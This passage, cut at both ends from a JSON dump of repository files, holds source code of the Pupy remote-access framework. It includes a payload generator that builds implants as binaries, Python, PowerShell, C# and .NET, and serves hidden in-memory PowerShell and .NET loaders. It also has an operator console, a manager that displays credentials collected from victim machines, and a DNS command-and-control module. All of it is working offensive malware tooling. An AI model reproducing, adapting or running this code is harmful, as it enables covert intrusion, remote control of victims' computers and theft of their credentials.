'--no-use-proxy', action='store_true',\n        help=\"Don't use the target's proxy configuration even if it is \"\n        \"used by target (for ps1_oneliner only for now)\"\n    )\n\n    parser.add_argument(\n        '--oneliner-nothidden', default=False, action='store_true',\n        help=\"Powershell script not hidden target side (default: %(default)s)\"\n    )\n\n    parser.add_argument(\n        '--debug-scriptlets', action='store_true',\n        help=\"don't catch scriptlets exceptions on the client \"\n        \"for debug purposes\"\n    )\n\n    parser.add_argument(\n        '--debug', action='store_true',\n        help=\"build with the debug template (the payload open a console)\"\n    )\n\n    parser.add_argument(\n        '--workdir', help='Set Workdir (Default = current workdir)'\n    )\n\n    parser.add_argument(\n        'launcher', choices=[\n            x for x in launchers\n        ],\n        default=config.get('gen', 'launcher') or 'connect', nargs='?',\n        help=\"Choose a launcher. Launchers make payloads behave \"\n        \"differently at startup.\"\n    )\n\n    parser.add_argument(\n        'launcher_args', default=config.get('gen', 'launcher_args'),\n        nargs=argparse.REMAINDER, help=\"launcher options\"\n    )\n\n    return parser\n\n\ndef pupygen(args, config, pupsrv, display):\n    scriptlets = load_scriptlets(args.os, args.arch)\n\n    if args.list:\n        display(MultiPart([\n            Table(\n                [{\n                    'FORMAT': fmt, 'DESCRIPTION': description\n                } for fmt, description in ((\n                    'client', 'generate client binary (linux/windows/apk/..)'\n                ), (\n                    'pyoxidizer', 'generate client binary using pyoxidizer template (linux only for now). The advantage of this method is that the binary is fully static and embeds a static python interpreter'\n                ), (\n                    'py', 'fully packaged python file'\n                ), (\n                    'py_oneliner', 'same as \\'py\\' format '\n                    'but served over http'\n                ), (\n                    'ps1', 'generate ps1 file which embeds pupy dll '\n                    '(x86-x64) and inject it to current process'\n                ), (\n                    'ps1_oneliner', 'load pupy remotely from memory with a '\n                    'single command line using powershell'\n                ), (\n                    'csharp', 'generate C# source (.cs) that executes pupy'\n                ), (\n                    '.NET', 'compile a C# payload into a windows executable.'\n                ), (\n                    '.NET_oneliner', 'Loads .NET assembly from memory '\n                    'via powershell'\n                ))],\n                ['FORMAT', 'DESCRIPTION'],\n                Color('Available formats (usage: -f <format>)', 'yellow')\n            ),\n\n            Table(\n                [{\n                    'TRANSPORT': name, 'DESCRIPTION': t.info\n                } for name, t in transports.items()],\n                ['TRANSPORT', 'DESCRIPTION'],\n                Color('Available transports (usage: -t <transport>)', 'yellow')\n            ),\n\n            Table(\n                [{\n                    'SCRIPTLET': name, 'DESCRIPTION': sc.description,\n                    'ARGS': '; '.join(\n                        '{}={}'.format(k, v) for k, v in sc.arguments.items()\n                    )\n                } for name, sc in scriptlets.items()],\n                ['SCRIPTLET', 'DESCRIPTION', 'ARGS'], Color(\n                    'Available scriptlets for {}/{} '\n                    '(usage: -s <scriptlet>[,arg1=value1,arg2=value2]'.format(\n                        args.os or 'any', args.arch or 'any'), 'yellow')\n            )\n        ]))\n\n        raise NoOutput()\n\n    if args.workdir:\n        os.chdir(args.workdir)\n\n    script_code = ''\n\n    try:\n        if args.scriptlet:\n            script_code = pack_scriptlets(\n                display,\n                scriptlets,\n                args.scriptlet,\n                os=args.os,\n                arch=args.arch,\n                debug=args.debug_scriptlets\n            )\n\n    except ValueError as e:\n        display(Error(str(e)))\n        raise NoOutput()\n\n    launcher = launchers[args.launcher]\n\n    while True:\n        try:\n            launcher.arg_parser.parse_args(args.launcher_args)\n        except LauncherError as e:\n            if str(e).strip().endswith(\"--host is required\") \\\n                    and \"--host\" not in args.launcher_args:\n                myip = get_listener_ip(\n                    external=args.prefer_external, config=config\n                )\n\n                if not myip:\n                    raise ValueError(\n                        \"--host parameter missing and couldn't \"\n                        \"find your local IP. You must precise \"\n                        \"an ip or a fqdn manually\"\n                    )\n\n                myport = get_listener_port(\n                    config, external=args.prefer_external\n                )\n\n                display(Warn(\n                    'Required argument missing, automatically '\n                    'adding parameter --host {}:{} from local '\n                    'or external ip address'.format(myip, myport))\n                )\n\n                if '-t' in args.launcher_args or \\\n                        '--transport' in args.launcher_args:\n\n                    args.launcher_args += [\n                        '--host', '{}:{}'.format(myip, myport)\n                    ]\n                else:\n                    args.launcher_args += [\n                        '--host', '{}:{}'.format(myip, myport),\n                        '-t', config.get('pupyd', 'transport')\n                    ]\n\n            elif str(e).strip().endswith('--domain is required') \\\n                    and '--domain' not in args.launcher_args:\n                domain = config.get('pupyd', 'dnscnc').split(':')[0]\n                if not domain or '.' not in domain:\n                    display(Error('DNSCNC disabled!'))\n                    return\n\n                display(Warn(\n                    'Required argument missing, automatically adding parameter'\n                    '--domain {} from configuration file'.format(domain)\n                ))\n\n                args.launcher_args = [\n                    '--domain', domain\n                ]\n\n            else:\n                display(launcher.arg_parser.format_help())\n                return\n        else:\n            break\n\n    conf = {\n        'launcher': args.launcher,\n        'launcher_args': args.launcher_args,\n        'offline_script': script_code,\n        'debug': args.debug,\n        'cid': random.SystemRandom().getrandbits(32)\n    }\n\n    if args.delays_list:\n        int_delays = []\n        for d, mi, ma in args.delays_list:\n            if d.strip()==\"i\" or d.strip()==\"infinite\":\n                d=-1\n            try:\n                d=int(d)\n            except:\n                raise ValueError(\"invalid value : %s. Attempts can be \\\"i\\\" for infinite or an integer\" % d)\n            try:\n                mi=int(mi)\n            except:\n                raise ValueError(\"invalid value : %s. min_delay needs to be an integer\" % d)\n            try:\n                ma=int(ma)\n            except:\n                raise ValueError(\"invalid value : %s. min_delay needs to be an integer\" % d)\n                return\n            int_delays.append((d, mi, ma))\n\n\n        conf['delays'] = sorted(\n            int_delays, key=lambda x: (x[0] if x[0]!=-1 else 9999999999)\n        )\n\n    outpath = args.output\n\n    if not os.path.isdir(args.output_dir):\n        display(Success(\n            'Creating the local folder {} for generating payloads'.format(\n                repr(args.output_dir))\n        ))\n\n        os.makedirs(args.output_dir)\n\n    pyver = get_pyver(\n        38 if args.python38 else 310,\n        config\n    )\n\n    target = dependencies.Target(\n        (int(pyver[0]), int(pyver[1:])),\n        (args.os, args.arch),\n        args.debug\n    )\n\n    if args.format == 'client' or args.format=='pyoxidizer':\n        display(Success('Generate client: {}/{}'.format(args.os, args.arch)))\n\n        fmt=None\n        if args.format==\"pyoxidizer\":\n            fmt='pupy{arch}-{pyver}.pyoxidizer.{ext}'\n\n        data, filename, makex = generate_binary_from_template(\n            display, conf, target, shared=args.shared, fmt=fmt\n        )\n\n        if not outpath:\n            template, ext = filename.rsplit('.', 1)\n            outfile = tempfile.NamedTemporaryFile(\n                dir=args.output_dir or '.',\n                prefix=template+'.',\n                suffix='.'+ext,\n                delete=False\n            )\n        else:\n            outpath=os.path.expanduser(outpath)\n            try:\n                os.unlink(outpath)\n            except OSError as e:\n                if e.errno == errno.EEXIST:\n                    pass\n\n            outfile = open(outpath, 'w+b')\n\n        outfile.write(data)\n        outfile.close()\n\n        if makex:\n            os.chmod(outfile.name, 0o711)\n\n        if args.packer:\n            packingFinalCmd = args.packer.replace('%s', outfile.name)\n            display(\n                'Packing payload with this command: {}'.format(\n                    packingFinalCmd\n                )\n            )\n\n            subprocess.check_call(\n                packingFinalCmd,\n                shell=True\n            )\n\n        outpath = outfile.name\n\n    elif args.format in ('py', 'pyinst'):\n        linux_modules = ''\n        if not outpath:\n            outfile = tempfile.NamedTemporaryFile(\n                dir=args.output_dir or '.',\n                prefix='pupy_',\n                suffix='.py',\n                delete=False\n            )\n        else:\n            try:\n                os.unlink(outpath)\n            except OSError as e:\n                if e.errno == errno.EEXIST:\n                    pass\n\n            outfile = open(outpath, 'w+b')\n\n        if args.format == 'pyinst':\n            linux_modules = getLinuxImportedModules()\n\n        packed_payload = pack_py_payload(\n            target, display,\n            get_raw_conf(display, conf, verbose=True), purepy=True\n        )\n\n        outfile.write(\n            '\\n'.join([\n                '#!/usr/bin/env python',\n                '# -*- coding: utf-8 -*-',\n                linux_modules,\n                packed_payload\n            ]).encode('utf-8'))\n        outfile.close()\n\n        outpath = outfile.name\n\n    elif args.format == 'py_oneliner':\n        packed_payload = pack_py_payload(\n            target, display, get_raw_conf(\n                display, conf, verbose=True\n            ),\n            purepy=True\n        )\n\n        if not isinstance(packed_payload, bytes):\n            packed_payload = packed_payload.encode('ascii')\n\n        try:\n            i = conf['launcher_args'].index('--host') + 1\n            link_ip = conf['launcher_args'][i].split(':', 1)[0]\n        except ValueError:\n            link_ip = None\n\n            for listener in pupsrv.get_listeners().values():\n                if listener.external is not None:\n                    link_ip = str(listener.external)\n                    break\n\n        serve_payload(\n            display, pupsrv, packed_payload, link_ip=link_ip\n        )\n\n        raise NoOutput()\n\n    elif args.format == 'csharp':\n        if args.os != 'windows':\n            raise ValueError('This format only supports windows')\n\n        rawdll = generate_binary_from_template(\n            display, conf, target, shared=True\n        )[0]\n\n        dn = DotNetPayload(\n            display, pupsrv, conf, rawdll,\n            outpath=outpath, output_dir=args.output_dir\n        )\n\n        outpath = dn.gen_source()\n\n    elif args.format == '.NET':\n        if args.os != 'windows':\n            raise ValueError('This format only supports windows')\n\n        rawdll = generate_binary_from_template(\n            display, conf, target, shared=True\n        )[0]\n\n        dn = DotNetPayload(\n            display, pupsrv, conf, rawdll, outpath=outpath,\n            output_dir=args.output_dir\n        )\n\n        outpath = dn.gen_exe()\n\n        if outpath is None:\n            raise NoOutput()\n\n    elif args.format == '.NET_oneliner':\n        if args.os != 'windows':\n            raise ValueError('This format only supports windows')\n\n        link_ip = None\n        try:\n            i = conf['launcher_args'].index('--host')+1\n            link_ip, _ = conf['launcher_args'][i].split(':', 1)\n        except ValueError:\n            pass\n\n        rawdll = generate_binary_from_template(\n            display, conf, target, shared=True\n        )[0]\n\n        dotnet_serve_payload(display, pupsrv, rawdll, conf, link_ip=link_ip)\n\n        raise NoOutput()\n\n    elif args.format == 'ps1':\n        if args.os != 'windows':\n            raise ValueError('This format only supports windows')\n\n        outpath = generate_ps1(\n            display, conf, target,\n            outpath=outpath, output_dir=args.output_dir\n        )\n\n    elif args.format == 'ps1_oneliner':\n        if conf['launcher'] in ['connect', 'auto_proxy']:\n            from pupy.pupylib.payloads.ps1_oneliner import serve_ps1_payload\n\n            link_ip = conf[\"launcher_args\"][\n                conf[\"launcher_args\"].index(\"--host\")+1].split(\":\", 1)[0]\n\n            if not args.no_use_proxy:\n                useTargetProxy = True\n            else:\n                useTargetProxy = False\n\n            serve_ps1_payload(\n                display, pupsrv, conf, target,\n                link_ip=link_ip, useTargetProxy=useTargetProxy,\n                nothidden=args.oneliner_nothidden\n            )\n\n            raise NoOutput()\n\n        elif conf['launcher'] == 'bind':\n            from pupy.pupylib.payloads.ps1_oneliner import send_ps1_payload\n\n            outpath, target_ip, bind_port = \"\", None, None\n            bind_port = conf[\"launcher_args\"][\n                conf[\"launcher_args\"].index(\"--port\")+1]\n\n            if '--oneliner-host' in conf['launcher_args']:\n                target_ip = conf['launcher_args'][\n                    conf['launcher_args'].index('--oneliner-host')+1]\n\n                send_ps1_payload(\n                    display, conf, target,\n                    bind_port=bind_port, target_ip=target_ip,\n                    nothidden=args.oneliner_nothidden\n                )\n\n                display(Success(\n                    'You have to connect manually to the target {1} '\n                    'with \"connect --host {0}:{1}\"'.format(\n                        target_ip, bind_port)\n                ))\n\n                raise NoOutput()\n            else:\n                raise ValueError(\n                    'You have to give me the --oneliner-host argument'\n                )\n        else:\n            raise ValueError(\n                'ps1_oneliner with {0} mode is not implemented yet'.format(\n                    conf['launcher']\n                )\n            )\n\n    else:\n        raise ValueError(\"Type %s is invalid.\" % (args.format))\n\n    display(Success('OUTPUT_PATH: {}'.format(os.path.abspath(outpath))))\n    display(Success('SCRIPTLETS:  {}'.format(args.scriptlet)))\n    display(Success('DEBUG:       {}'.format(args.debug)))\n\n    return os.path.abspath(outpath)\n\n\ndef main():\n    from pupy.pupylib.utils.term import as_term_bytes\n    from traceback import print_exc\n\n    def display(data):\n        sys.stdout.buffer.write(as_term_bytes(data))\n        sys.stdout.write('\\n')\n\n    Credentials.DEFAULT_ROLE = 'CLIENT'\n\n    config = PupyConfig()\n    Credentials(config=config, validate=True)\n\n    parser = get_parser(argparse.ArgumentParser, config)\n    try:\n        args = parser.parse_args()\n        pupygen(args, config, None, display)\n\n    except NoOutput:\n        sys.exit(0)\n\n    except InvalidOptions:\n        sys.exit(1)\n\n    except (ValueError, EncryptionError) as e:\n        if args.debug:\n            print_exc()\n        display(Error(e))\n\n    except Exception as e:\n        print_exc()\n        sys.exit(str(e))\n\n\nif __name__ == '__main__':\n    main()\n"
  },
  {
    "path": "pupy/cli/pupysh.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# --------------------------------------------------------------\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions\n# are met:\n#\n# 1. Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in the\n# documentation and/or other materials provided with the distribution.\n#\n# 3. Neither the name of the copyright holder nor the names of its\n# contributors may be used to endorse or promote products derived from\n# this software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n# \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n#  A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n# HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED\n# TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n# PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n# LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE\n# --------------------------------------------------------------\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport os\nimport logging\nimport argparse\n\nargs = None\n\ndef parse_args():\n    parser = argparse.ArgumentParser(prog='pupysh', description=\"Pupy console\")\n    parser.add_argument(\n        '--loglevel', '-d',\n        help='change log verbosity', dest='loglevel',\n        choices=['DEBUG', 'INFO', 'WARNING', 'ERROR'],\n        default='WARNING')\n    parser.add_argument('--logfile', '-DF', help='log to file', dest='logfile', default=None)\n    parser.add_argument(\n        '-l', '--listen',\n        help='Bind server listener with transport and args to port.'\n        'Example: -l ssl 127.0.0.1:443 -l kcp 80 -l xyz 1234 OPTION1=value OPTION2=value.',\n        nargs='+',\n        metavar=('TRANSPORT', '<<EXTERNAL_IP=>IP>:<EXTERNAL_PORT=>PORT OPTION=value'),\n        action='append', default=[]\n    )\n    parser.add_argument(\n        '--workdir', help='Set Workdir (Default = current workdir)')\n    parser.add_argument('-NE', '--not-encrypt',\n                        help='Do not encrypt configuration', action='store_true')\n    parser.add_argument('--sound', dest='sounds',\n                        help='Play a sound when a session connects', action='store_true')\n    return parser\n\ntry:\n    import pupy.pupylib.PupySignalHandler\n    assert pupy.pupylib.PupySignalHandler\nexcept ImportError:\n    pass\n\nfrom pupy.pupylib import (\n    PupyServer, PupyCmdLoop, PupyCredentials, PupyConfig\n)\n\ndef main():\n    parser = parse_args()\n    args = parser.parse_args()\n    if args.workdir:\n        os.chdir(args.workdir)\n\n        if os.getuid() == 0 and os.getgid() == 0:\n            wdstat = os.stat(args.workdir)\n            os.setresgid(wdstat.st_uid, wdstat.st_uid, wdstat.st_uid)\n            os.setresuid(wdstat.st_uid, wdstat.st_uid, wdstat.st_uid)\n\n    root_logger = logging.getLogger()\n\n    if args.logfile:\n        logging_stream = logging.FileHandler(args.logfile)\n        logging_stream.setFormatter(\n            logging.Formatter(\n                '%(asctime)-15s|%(levelname)-5s|%(relativeCreated)6d|%(threadName)s|%(name)s| %(message)s'))\n    else:\n        logging_stream = logging.StreamHandler()\n        logging_stream.setFormatter(logging.Formatter('%(asctime)-15s| %(name)s| %(message)s'))\n\n    logging_stream.setLevel(logging.DEBUG)\n\n    root_logger.handlers = []\n\n    root_logger.addHandler(logging_stream)\n    root_logger.setLevel(args.loglevel)\n    PupyCredentials.DEFAULT_ROLE = 'CONTROL'\n    if args.not_encrypt:\n        PupyCredentials.ENCRYPTOR = None\n\n    # Try to initialize credentials before CMD loop\n    try:\n        credentials = PupyCredentials.Credentials(validate=True)\n    except PupyCredentials.EncryptionError as e:\n        logging.error(e)\n        exit(1)\n\n    config = PupyConfig()\n\n    if args.listen:\n        listeners = {\n            x[0]: x[1:] if len(x) > 1 else [] for x in args.listen\n        }\n\n        config.set('pupyd', 'listen', ','.join(listeners))\n        for listener in listeners:\n            args = listeners[listener]\n            if args:\n                config.set('listeners', listener, ' '.join(args))\n\n    pupyServer = PupyServer(config, credentials)\n    pupycmd = PupyCmdLoop(pupyServer)\n\n    pupyServer.start()\n    pupycmd.loop()\n    pupyServer.stop()\n    pupyServer.finished.wait()\n\nif __name__ == \"__main__\":\n    main()\n"
  },
  {
    "path": "pupy/commands/__init__.py",
    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\n__all__ = ('InvalidCommand', 'Commands')\n\nimport os\nimport imp\n\nfrom pupy.pupylib.PupyCompleter import commands_completer\nfrom pupy.pupylib.PupyModule import PupyArgumentParser\n\nfrom pupy.network.lib.convcompat import shlex\n\n\nclass InvalidCommand(Exception):\n    pass\n\n\nclass CommandsNamespace(object):\n\n    __slots__ = ('module', 'args')\n\n    def __init__(self, module, args):\n        self.module = module\n        self.args = args\n\n\nclass Commands(object):\n    SUFFIXES = tuple([\n        suffix for suffix, _, rtype in imp.get_suffixes() \\\n        if rtype == imp.PY_SOURCE\n    ])\n\n    def __init__(self):\n        self._commands = {}\n        self._commands_stats = {}\n        self._refresh()\n\n    def _refresh(self):\n        commands_paths = [\n            os.path.dirname(__file__)\n        ]\n\n        files = {}\n\n        for path in commands_paths:\n            files.update({\n                '.'.join(x.rsplit('.', 1)[:-1]):os.path.join(path, x) \\\n                for x in os.listdir(path) if x.endswith(self.SUFFIXES) and \\\n                not x.startswith('__init__')\n            })\n\n        for command in files:\n            source = files[command]\n\n            try:\n                current_stat = os.stat(source)\n            except OSError:\n                continue\n\n            if command not in self._commands or self._commands_stats[command] != current_stat.st_mtime:\n                try:\n                    self._commands[command] = imp.load_source(command, source)\n                    self._commands_stats[command] = current_stat.st_mtime\n                except IOError:\n                    pass\n\n    def _get_command(self, cmdline, aliases, modules, refresh=True):\n        argv = shlex.split(cmdline)\n        if not argv:\n            raise InvalidCommand(cmdline)\n\n        argv0 = argv[0]\n        args = []\n\n        if len(argv) > 1:\n            args = argv[1:]\n\n        if argv0 in aliases:\n            aliased = aliases[argv0]\n            if '{' in aliased or '%' in aliased:\n                aargv = shlex.split(aliased.format(*args))\n                argv0, args = aargv[0], aargv[1:]\n            else:\n                aargv = shlex.split(aliased)\n                argv0, args = aargv[0], aargv[1:] + args\n\n        if argv0 not in self._commands and refresh:\n            self._refresh()\n\n        if argv0 not in self._commands:\n            found = False\n            for module in modules:\n                if argv0 == module.get_name():\n                    args.insert(0, argv0)\n                    argv0 = 'run'\n                    found = True\n                    break\n\n            if not found:\n                raise InvalidCommand(argv0)\n\n        return self._commands[argv0], args\n\n    def has(self, command):\n        if command not in self._commands:\n            self._refresh()\n\n        return command in self._commands\n\n    def get(self, command):\n        if command not in self._commands:\n            self._refresh()\n\n        return self._commands.get(command)\n\n    def execute(self, server, handler, config, cmdline, clients_filter=None):\n        aliases = dict(config.items('aliases'))\n        command, args = self._get_command(\n            cmdline, aliases, server.iter_modules(\n                by_clients=True,\n                clients_filter=clients_filter or handler.default_filter\n            ))\n\n        parser = command.parser\n        if callable(parser):\n            parser = parser(server, handler, config)\n\n        parsed_args = parser.parse_args(args)\n\n        old_filter = handler.default_filter\n\n        if clients_filter:\n            handler.default_filter = clients_filter\n\n        try:\n            command.do(server, handler, config, parsed_args)\n        finally:\n            if clients_filter and handler.default_filter == clients_filter:\n                handler.default_filter = old_filter\n\n    def list(self, refresh=True):\n        if refresh:\n            self._refresh()\n\n        for command in self._commands:\n            module = self._commands[command]\n\n            yield command, module.usage\n\n    def completer(self, context, cmdline):\n        server, handler, config = context.server, context.handler, context.config\n\n        aliases = dict(config.items('aliases'))\n        modules = list(server.iter_modules(\n            by_clients=True,\n            clients_filter=handler.default_filter))\n\n        try:\n            command, args = self._get_command(cmdline, aliases, modules, False)\n            parser = None\n            if hasattr(command.parser, 'add_help'):\n                parser = command.parser\n            else:\n                parser = command.parser(server, PupyArgumentParser, config)\n\n            completer = parser.get_completer()\n\n            return completer.complete, command.__name__, args\n\n        except InvalidCommand:\n            return commands_completer, '', ''\n"
  },
  {
    "path": "pupy/commands/config.py",
    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nfrom pupy.pupylib.PupyModule import PupyArgumentParser\nfrom pupy.pupylib.PupyOutput import Error, Pygment\nfrom pygments.lexers.configs import IniLexer\nfrom argparse import REMAINDER\n\nusage  = 'Work with configuration file'\nparser = PupyArgumentParser(prog='config', description=usage)\ncommands = parser.add_subparsers(title='commands', dest='command')\n\ncmdlist = commands.add_parser('list', help='list configured options')\ncmdlist.add_argument('section', help='list section', nargs='?', default='')\ncmdlist.add_argument('-s', '--sections', help='list sections', action='store_true')\n\ncmdset = commands.add_parser('set', help='set config option')\ncmdset.add_argument('-w', '--write-project', action='store_true',\n                            default=False, help='save config to project folder')\ncmdset.add_argument('-W', '--write-user', action='store_true',\n                            default=False, help='save config to user folder')\ncmdset.add_argument('section', help='config section')\ncmdset.add_argument('key', help='config key')\ncmdset.add_argument('value', help='value')\ncmdset.add_argument('args', nargs=REMAINDER, help='rest args')\n\ncmdunset = commands.add_parser('unset', help='unset config option')\ncmdunset.add_argument('-w', '--write-project', action='store_true',\n                            default=False, help='save config to project folder')\ncmdunset.add_argument('-W', '--write-user', action='store_true',\n                            default=False, help='save config to user folder')\ncmdunset.add_argument('section', help='config section')\ncmdunset.add_argument('keys', nargs='*', help='config key')\n\ncmdsave = commands.add_parser('save', help='save config')\ncmdsave.add_argument('-w', '--write-project', action='store_true',\n                             default=True, help='save config to project folder')\ncmdsave.add_argument('-W', '--write-user', action='store_true',\n                             default=False, help='save config to user folder')\n\n\ndef do(server, handler, config, args):\n    if args.command == 'list':\n        result = []\n\n        for section in config.sections():\n            if args.section and args.section != section:\n                continue\n\n            result.append('[{}]'.format(section))\n            if args.sections:\n                continue\n\n            for variable in config.options(section):\n                result.append('{} = {}'.format(\n                    variable, config.get(section, variable)\n                ))\n\n            result.append('')\n\n        handler.display(Pygment(IniLexer(), '\\n'.join(result)))\n\n    elif args.command == 'set':\n        try:\n            value = args.value\n            if args.args:\n                value += ' '\n                value += ' '.join(args.args)\n\n            config.set(args.section, args.key, value)\n            config.save(project=args.write_project, user=args.write_user)\n\n        except config.NoSectionError:\n            handler.display(Error(args.section, 'No section'))\n\n    elif args.command == 'unset':\n        try:\n            if args.keys:\n                for key in args.keys:\n                    config.remove_option(args.section, key)\n            else:\n                to_remove = [\n                    k for k, _ in config.items(args.section)\n                ]\n\n                for k in to_remove:\n                    config.remove_option(args.section, k)\n\n                config.remove_section(args.section)\n\n            config.save(project=args.write_project, user=args.write_user)\n\n        except config.NoSectionError:\n            handler.display(Error(args.section, 'No section'))\n\n    elif args.command == 'save':\n        config.save(project=args.write_project, user=args.write_user)\n"
  },
  {
    "path": "pupy/commands/connect.py",
    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport pupy.network.conf as conf\n\nlauncher = conf.launchers['connect'](\n    connect_on_bind_payload=True\n)\n\nusage = 'Connect to the bind payload'\nparser = launcher.arg_parser\n\n\ndef do(server, handler, config, args):\n    launcher.args = args\n    launcher.parse_args(None)\n    server.connect_on_client(launcher)\n"
  },
  {
    "path": "pupy/commands/creds.py",
    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom pupy.pupylib.PupyModule import PupyArgumentParser\nfrom pupy.pupylib.PupyOutput import (\n    Color, Error, Success, Table,\n    TruncateToTerm, NewLine, Line, MultiPart\n)\n\nfrom pupy.pupylib.utils.credentials import Credentials\n\nusage = 'Credentials manager'\nparser = PupyArgumentParser(prog='creds', description=usage)\nparser.add_argument('-A', '--all', action='store_true', default=False, help='Search/Show info for all machines, not only active ones')\nparser.add_argument('-k', '--key', help='Search in key in objects with key')\nparser.add_argument('-s', '--sort', action='store_true', help='Search in key in objects with key')\nparser.add_argument('--delete-db', action='store_true', help='Delete DB')\nparser.add_argument('search', default='', nargs='?', help='Keyword to search')\n\ndef do(server, handler, config, modargs):\n    try:\n        credentials = Credentials(config=config)\n    except Exception as e:\n        handler.display(Error(e))\n        return\n\n    clients = server.get_clients_list()\n\n    filter_cids = None\n\n    if modargs.delete_db:\n        credentials.remove()\n        handler.display(Success('DB deleted'))\n        return\n\n    if not modargs.all:\n        filter_cids = set([\n            client.short_name() for client in clients\n        ])\n        filter_cids.update([\n            client.node() for client in clients\n        ])\n\n    categories = {}\n\n    try:\n        for item in credentials.display(search=modargs.search, is_sorted=modargs.sort):\n            if item['category'] not in categories:\n                categories[item['category']] = {\n                    'credtype': item.get('credtype'),\n                    'creds': []\n                }\n\n            category = categories[item['category']]\n            category['creds'].append({\n                k:v for k,v in item.items() if k in (\n                    'cid', 'login', 'secret', 'resource'\n                )\n            })\n\n    except Exception as e:\n        raise\n        handler.display(Error(e))\n        return\n\n    if not categories:\n        handler.display(Error('DB is empty'))\n        return\n\n    try:\n        for category, info in categories.items():\n            if not info['creds']:\n                continue\n\n            if filter_cids:\n                info['creds'] = [\n                    cred for cred in info['creds'] if cred['cid'] in filter_cids\n                ]\n\n                if not info['creds']:\n                    continue\n\n            credtype = info['credtype']\n\n            columns = ['cid', 'login', 'secret', 'resource']\n            caption = category\n\n            if all(not x['resource'] for x in info['creds']):\n                del columns[columns.index('resource')]\n\n            cids = set(x['cid'] for x in info['creds'])\n            if len(cids) == 1:\n                del columns[columns.index('cid')]\n                caption += ' (cid={})'.format(list(cids)[0])\n\n            if credtype in ('plaintext', 'hash') or all(\n                len(x['secret']) <= 64 for x in info['creds']):\n\n                handler.display(TruncateToTerm(\n                    Table(info['creds'], columns,\n                          caption=Color(caption, 'yellow'))))\n            else:\n                caption = Line('{', Color(caption, 'yellow'), '}')\n                handler.display(caption)\n                parts = []\n                for cred in info['creds']:\n                    line = []\n                    for column in columns:\n                        if column == 'secret' or not cred[column]:\n                            continue\n\n                        line.append(Color(column+':', 'yellow'))\n                        line.append(Color(cred[column], 'lightyellow'))\n\n                    line.append(NewLine())\n                    line.append(cred['secret'])\n                    line.append(NewLine())\n                    parts.append(Line(*line))\n\n                handler.display(MultiPart(parts))\n\n            handler.display(NewLine())\n    except Exception as e:\n        handler.display(Error(e))\n        return\n"
  },
  {
    "path": "pupy/commands/dnscnc.py",
    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nfrom pupy.pupylib.PupyModule import PupyArgumentParser\nfrom pupy.pupylib.PupyOutput import Success, Error, Table, Color\n\nimport time\n\nusage = 'DNSCNC control'\nparser = PupyArgumentParser(prog='dnscnc', description=usage)\nparser.add_argument('-n', '--node', help='Send command only to this node (or session)')\nparser.add_argument('-d', '--default', action='store_true', default=False,\n                         help='Set command as default for new connections')\n\ncommands = parser.add_subparsers(title='commands', dest='command')\nstatus = commands.add_parser('status', help='DNSCNC status')\n\nsessions = commands.add_parser('sessions', help='List known DNSCNC sessions')\nsessions.add_argument('-r', action='store_true', help='Reverse sorting')\nsorting = sessions.add_mutually_exclusive_group()\nsorting.add_argument('-b', action='store_true', help='Sort by boot time')\nsorting.add_argument('-o', action='store_true', help='Sort by OS')\nsorting.add_argument('-i', action='store_true', help='Sort by IP')\nsorting.add_argument('-n', action='store_true', help='Sort by node')\nsorting.add_argument('-d', action='store_true', help='Sort by duration')\nsorting.add_argument('-c', action='store_true', help='Sort by pending commands')\n\nnodes = commands.add_parser('nodes', help='List known DNSCNC nodes')\nnodes.add_argument('-r', action='store_true', help='Reverse sorting')\nnodes_sorting = nodes.add_mutually_exclusive_group()\nnodes_sorting.add_argument('-a', action='store_true', help='Sort by Alert')\nnodes_sorting.add_argument('-i', action='store_true', help='Sort by CID')\nnodes_sorting.add_argument('-I', action='store_true', help='Sort by IID')\nnodes_sorting.add_argument('-n', action='store_true', help='Sort by node')\nnodes_sorting.add_argument('-d', action='store_true', help='Sort by duration')\nnodes_sorting.add_argument('-c', action='store_true', help='Sort by pending commands')\nnodes_sorting.add_argument('-v', action='store_true', help='Sort by version')\n\ninfo = commands.add_parser('info', help='List known DNSCNC clients system status')\ninfo.add_argument('-r', action='store_true', help='Reverse sorting')\ninfo_sorting = info.add_mutually_exclusive_group()\ninfo_sorting.add_argument('-n', action='store_true', help='Sort by node')\ninfo_sorting.add_argument('-i', action='store_true', help='Sort by IP')\ninfo_sorting.add_argument('-o', action='store_true', help='Sort by OS')\ninfo_sorting.add_argument('-c', action='store_true', help='Sort by CPU 